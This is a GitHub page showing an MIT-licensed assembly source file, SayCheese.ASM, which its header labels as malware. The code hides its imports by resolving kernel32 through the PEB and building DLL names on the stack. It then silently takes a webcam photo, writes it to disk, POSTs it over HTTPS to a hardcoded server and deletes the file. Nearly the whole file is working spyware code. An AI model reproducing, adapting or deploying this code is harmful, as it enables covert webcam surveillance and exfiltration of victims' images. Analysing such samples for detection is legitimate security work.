-
Notifications
You must be signed in to change notification settings - Fork 5
/
SayCheese.ASM
365 lines (303 loc) · 11 KB
/
SayCheese.ASM
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
; MIT License
;
; Copyright (c) 2021 4B4DB4B3
;
; Permission is hereby granted, free of charge, to any person obtaining a copy
; of this software and associated documentation files (the "Software"), to deal
; in the Software without restriction, including without limitation the rights
; to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
; copies of the Software, and to permit persons to whom the Software is
; furnished to do so, subject to the following conditions:
;
; The above copyright notice and this permission notice shall be included in all
; copies or substantial portions of the Software.
;
; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
; AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
; LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
; OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
; SOFTWARE.
; ___ ___ _
; / __| __ _ _ _ / __| |_ ___ ___ ___ ___
; \__ \/ _` | || | (__| ' \/ -_) -_|_-</ -_)
; |___/\__,_|\_, |\___|_||_\___\___/__/\___|
; |__/ 4B4DB4B3
; Malware
; 18.05.21
format PE GUI 4.0
entry start
include 'MACRO/STRUCT.inc'
struct FUNC
name rb 30
addr dd ?
ends
MAX_SIZE = 2024
section '.rdata' data readable
kernel32 dd ?
GetProcAddress dd ?
kernelTable:
FUNC 'LoadLibraryA', 0
FUNC 'Sleep', 0
FUNC 'CloseHandle', 0
FUNC 'CreateFileA', 0
FUNC 'ReadFile', 0
FUNC 'DeleteFileA', 0
FUNC 'ExitProcess', 0
kernelTable.count = 7
user32 dd ?
userTable:
FUNC 'SendMessageA', 0
userTable.count = 1
wininet dd ?
wininetTable:
FUNC 'InternetOpenA', 0
FUNC 'InternetConnectA', 0
FUNC 'HttpOpenRequestA', 0
FUNC 'HttpSendRequestA', 0
FUNC 'InternetCloseHandle', 0
FUNC 'InternetSetOptionA', 0
wininetTable.count = 6
avicap dd ?
avicapTable:
FUNC 'capCreateCaptureWindowA', 0
avicapTable.count = 1
capWin db '4B4DB4B3', 0
server db 'google.com', 0
accType db 'application/octet-stream;charset=utf-8', 0
verb db 'POST', 0
_filename db 'C:\\Users\\cheese.bmp', 0
section '.data' data readable writeable
hOpen dd ?
hCon dd ?
hReq dd ?
text rb MAX_SIZE
bytesReaded dd ?
hFile dd ?
hWebcam dd ?
section '.code' code readable executable
start: call init
; ____________________________________________________________
; | |
; | KERNEL32 INIT |
; |____________________________________________________________|
push kernelTable
push kernelTable.count
push [kernel32]
call initFunctions
; ____________________________________________________________
; | |
; | Load other libraries |
; |____________________________________________________________|
push 0
push 'll00'
sub word[esp+0x2], '0'
push '32.d'
push 'user'
push esp
call [kernelTable+FUNC.addr]
test eax, eax
jz exit
mov [user32], eax
push 0
push 'dll0'
sub word[esp+0x3], '0'
push 'net.'
push 'wini'
push esp
call [kernelTable+FUNC.addr]
mov [wininet], eax
push 0
push '.dll'
push 'ap32'
push 'avic'
push esp
call [kernelTable+FUNC.addr]
test eax, eax
jz exit
mov [avicap], eax
; ____________________________________________________________
; | |
; | Other libaries init |
; |____________________________________________________________|
push userTable
push userTable.count
push [user32]
call initFunctions
push wininetTable
push wininetTable.count
push [wininet]
call initFunctions
push avicapTable
push avicapTable.count
push [avicap]
call initFunctions
; ____________________________________________________________
; | |
; | Main code start |
; | Get photo from camera |
; |____________________________________________________________|
push 0
push 0
push 500
push 500
push 10
push 10
push 0
push capWin
call [avicapTable+FUNC.addr]
mov [hWebcam], eax
push 0
push 0
push 0x0400 + 10
push [hWebcam]
call [userTable+FUNC.addr]
push 0
push 0
push 0x400 + 53
push [hWebcam]
call [userTable+FUNC.addr]
push _filename
push 0
push 0x400 + 25
push [hWebcam]
call [userTable+FUNC.addr]
push 0
push 0
push 0x400 + 11
push [hWebcam]
call [userTable+FUNC.addr]
push 2000
call [kernelTable+1*sizeof.FUNC+FUNC.addr]
push [hWebcam]
call [kernelTable+2*sizeof.FUNC+FUNC.addr]
push 0
push 0
push 3
push 0
push 0x00000001
push 0x80000000
push _filename
call [kernelTable+3*sizeof.FUNC+FUNC.addr]
mov [hFile], eax
test eax, eax
jz exit
push 0
push bytesReaded
push 1024
push text
push [hFile]
call [kernelTable+4*sizeof.FUNC+FUNC.addr]
cmp eax, 1
jne exit
; ____________________________________________________________
; | |
; | Sending photo from camera |
; |____________________________________________________________|
push 0
push 0
push 42
push 0
call [wininetTable+6*sizeof.FUNC+FUNC.addr]
push 0
push 0
push 0
push 0
push capWin
call [wininetTable+FUNC.addr]
mov [hOpen], eax
push 0
push 0
push 3
push 0
push 0
push 443
push server
push [hOpen]
call [wininetTable+1*sizeof.FUNC+FUNC.addr]
mov [hCon], eax
push 0
push 0x00800000 or 0x80000000
push accType
push 0
push 0
push 0
push verb
push [hCon]
call [wininetTable+2*sizeof.FUNC+FUNC.addr]
mov [hReq], eax
push MAX_SIZE
push text
push 0
push 0
push [hReq]
call [wininetTable+3*sizeof.FUNC+FUNC.addr]
exit:
push [hOpen]
call [wininetTable+4*sizeof.FUNC+FUNC.addr]
push [hCon]
call [wininetTable+4*sizeof.FUNC+FUNC.addr]
push [hReq]
call [wininetTable+4*sizeof.FUNC+FUNC.addr]
push [hFile]
call [kernelTable+2*sizeof.FUNC+FUNC.addr]
push _filename
call [kernelTable+5*sizeof.FUNC+FUNC.addr]
push 0
call [kernelTable+6*sizeof.FUNC+FUNC.addr]
ret
initFunctions:
xor esi, esi
startInit:
cmp esi, [esp+8]
je functionsEndInit
mov ebx, [esp+12]
mov edx, esi
imul edx, sizeof.FUNC
add ebx, edx
mov eax, [esp+4]
push ebx
push eax
call [GetProcAddress]
mov [ebx+FUNC.addr], eax
inc esi
jmp startInit
functionsEndInit:
ret
init:
mov edi, [fs:0x030]
mov edi, [edi + 0x00c]
mov edi, [edi + 0x014]
mov edi, [edi + 0x00]
mov edi, [edi + 0x00]
mov edi, [edi + 0x10]
mov [kernel32], edi
mov edx, [edi + 0x3c]
add edx, edi
mov edx, [edx + 0x78]
add edx, edi
mov esi, [edx + 0x20]
add esi, edi
xor ecx, ecx
xor ecx, ecx
searchProcAddr:
inc ecx
lodsd
add eax, edi
cmp dword[eax], 'GetP'
jnz searchProcAddr
cmp dword[eax + 0x4], 'rocA'
jnz searchProcAddr
cmp dword[eax + 0x8], 'ddre'
jnz searchProcAddr
mov esi, [edx + 0x24]
add esi, edi
mov cx, [esi + ecx * 2]
dec ecx
mov esi, [edx + 0x1c]
add esi, edi
mov edx, [esi + ecx * 4]
add edx, edi
mov [GetProcAddress], edx
ret